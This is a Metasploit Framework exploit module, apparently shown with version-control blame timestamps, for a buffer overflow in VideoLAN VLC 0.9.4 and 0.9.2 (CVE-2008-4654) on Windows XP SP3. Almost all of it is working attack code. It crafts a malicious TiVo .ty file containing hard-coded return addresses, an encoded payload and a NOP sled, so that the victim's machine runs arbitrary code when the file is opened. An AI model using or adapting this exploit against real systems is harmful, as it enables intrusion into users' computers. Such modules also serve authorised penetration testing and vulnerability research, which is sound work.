2008-12-03 01:23:27 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-12-03 01:23:27 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-12-03 01:23:27 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2008-12-03 01:23:27 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-12-03 01:23:27 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'VideoLAN VLC TiVo Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
|
2010-04-30 08:40:19 +00:00
|
|
|
By creating a malicious TY file, a remote attacker could overflow a
|
|
|
|
buffer and execute arbitrary code.
|
2008-12-03 01:23:27 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => 'MC',
|
2009-03-15 18:12:33 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-12-03 01:23:27 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-4654' ],
|
2009-09-12 04:22:58 +00:00
|
|
|
[ 'OSVDB', '49181' ],
|
2008-12-03 01:23:27 +00:00
|
|
|
[ 'BID', '31813' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
2010-04-30 08:40:19 +00:00
|
|
|
},
|
2008-12-03 01:23:27 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 550,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2008-12-03 01:23:27 +00:00
|
|
|
[
|
|
|
|
[ 'VideoLAN VLC 0.9.4 (XP SP3 English)', { 'Ret' => 0x6a575cad } ],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'VideoLAN VLC 0.9.2 (XP SP3 English)', { 'Ret' => 0x65473351 } ],
|
2008-12-03 01:23:27 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Oct 22 2008',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ty']),
|
|
|
|
], self.class)
|
2008-12-03 01:23:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
ty = "\xF5\x46\x7A\xBD"
|
2008-12-03 01:23:27 +00:00
|
|
|
ty << "\x00\x00\x00\x02"
|
2010-04-30 08:40:19 +00:00
|
|
|
ty << "\x00\x02\x00\x00"
|
2008-12-03 01:23:27 +00:00
|
|
|
ty << "\x00" * 8
|
2010-04-30 08:40:19 +00:00
|
|
|
ty << "\x00\x00\x05\x41"
|
|
|
|
ty << "\x00" * 4
|
|
|
|
ty << "\x00\x00\x05\x49"
|
|
|
|
ty << "\x00" * 60
|
2008-12-03 01:23:27 +00:00
|
|
|
ty << [target.ret].pack('V') + payload.encoded + make_nops(12)
|
2010-04-30 08:40:19 +00:00
|
|
|
ty << "\x00" * (130980 - 4 - payload.encoded.length - 12)
|
|
|
|
ty << "\x05"
|
|
|
|
ty << "\x00" * 3
|
|
|
|
ty << "\x05"
|
|
|
|
ty << "\x00" * 1
|
|
|
|
ty << "\x09"
|
|
|
|
ty << "\xc0"
|
2008-12-03 01:23:27 +00:00
|
|
|
ty << "\x00" * 14
|
2010-04-30 08:40:19 +00:00
|
|
|
ty << "\x06"
|
|
|
|
ty << "\xe0"
|
2008-12-03 01:23:27 +00:00
|
|
|
ty << "\x00" * 302004
|
|
|
|
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
|
|
|
|
file_create(ty)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|